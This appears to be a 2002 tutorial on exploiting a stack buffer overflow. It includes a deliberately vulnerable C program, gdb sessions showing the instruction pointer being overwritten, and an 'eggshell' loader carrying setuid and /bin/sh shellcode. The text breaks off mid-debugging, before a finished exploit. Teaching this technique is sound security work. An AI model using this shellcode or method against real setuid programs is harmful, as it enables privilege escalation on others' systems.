文章作者:Simo
---------------------- Start of paper ---------------------------
simple buffer overflow demonstration
Simo aka _6mO_HaCk <simo_at_morx_org>
05/2002
ok lets say our vulnerable program is the following
----------- start of vul.c --------------
/* vul.c by _6mO_HaCk */
#include <stdio.h>
int main(int argc, char * argv[])
{
char buffer[10];
if(argc < 2)
{
printf("Usage : %s buffer\n", argv[0]);
exit(0);
}
strcpy(buffer,argv[1]);
printf("ur buffer : %s", buffer);
}
----------- end of vul.c ---------------
lets try now to overflow it
[simo@localhost lab]$ gcc vul.c -o vul
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 20'`
ur buffer : AAAAAAAAAAAAAAAAAAAA
20 bytes and still not able to overflow it, lets put a bigger buffer
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 30'`
Segmentation fault (core dumped)
we did it, we were able to overflow
lets try now to see what happened using our favorite debugger gdb
[simo@localhost lab]$ gdb -c core ./vul
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40003e40 in process_envvars (modep=Cannot access memory at address
0x41414149
) at rtld.c:1463
1463
rtld.c: No such file or directory.
in rtld.c
(gdb) info reg eip
eip 0x40003e40 0x40003e40
(gdb) info reg ebp
ebp 0x41414141 0x41414141
as u see unfortunatly we were able just to rewrite the ebp (extended
base pointer
) address while we couldnt rewrite eip (extended instruction pointer)
seems we
still need a bigger buffer
let's retry with a bigger buffer size
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 32'`
Segmentation fault (core dumped)
[simo@localhost lab]$ gdb -c core ./vul
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info reg ebp
ebp 0x41414141 0x41414141
(gdb) info reg eip
eip 0x41414141 0x41414141
(gdb) q
well this time we did it, with a 32 buffer we were able to overwrite
both eip and ebp
with our new address 0x41414141 where 41 is the hex value for the ascii
caracter "A" :)
next step now is to find our shellcode return address, for that we will
have to load an eggshell
into our environment and then overflow the vulnerable program and find
the shellcode return address
a simple eggshell that i have written with setuid shellcode
-------------------------- start eggshell.c ----------------------------
include <stdio.h>
#define NOP 0x90 /* our nops (no operations) */
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() (not mine) */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(void)
{
char eggshell[512];
puts("eggshell by _6mO_HaCk, loaded into environment");
memset(eggshell,NOP,512);
memcpy(&eggshell[512-strlen(shellcode)],shellcode,strlen(shellcode));
setenv("EGG", eggshell, 1);
putenv(eggshell);
system("/bin/bash");
return(0);
}
--------------------------- end eggshell.c -----------------------------
[simo@localhost lab]$ gcc eggshell.c -o eggshell; ./eggshell
eggshell by _6mO_HaCk, loaded into environment
[simo@localhost lab]$ ./vul `perl -e 'print "A" x 32'`
Segmentation fault (core dumped)
[simo@localhost lab]$ gdb -c core ./vul
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
Core was generated by `./vul'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) x/s $esp
0xbffff570:
""
(gdb)
0xbffff571:
""
(gdb)
0xbffff572:
""
(gdb)
0xbffff573:
""
(gdb)
0xbffff574:
"